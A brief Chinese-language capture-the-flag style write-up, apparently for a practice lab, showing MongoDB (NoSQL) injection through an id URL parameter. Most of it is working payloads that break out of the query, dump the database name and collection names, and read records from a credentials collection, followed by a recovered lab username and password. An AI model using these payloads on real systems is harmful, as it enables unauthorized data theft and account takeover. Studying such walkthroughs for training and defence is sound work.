MongoDB手工注入

1.monggodb数据库要使用title和content语句实行

构造回显显示

?id=1'});return ({title:'1',content:'2

得到回显点如下

 

2.查询数据库

?id=1'});return({title:tojson(db),content:'2

得到数据库名为mozhe_cms_Authority

3.查询表名

?id=1'});return({title:tojson(db.getCollectionNames()),content:'2

共有三个表：Authority_confidential 、 notice 、 system_indexes

4.查询 Authority_confidential表中的数据

?id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2

得到一组用户名

5.解密密码

mozhe；469193

6.登录得到key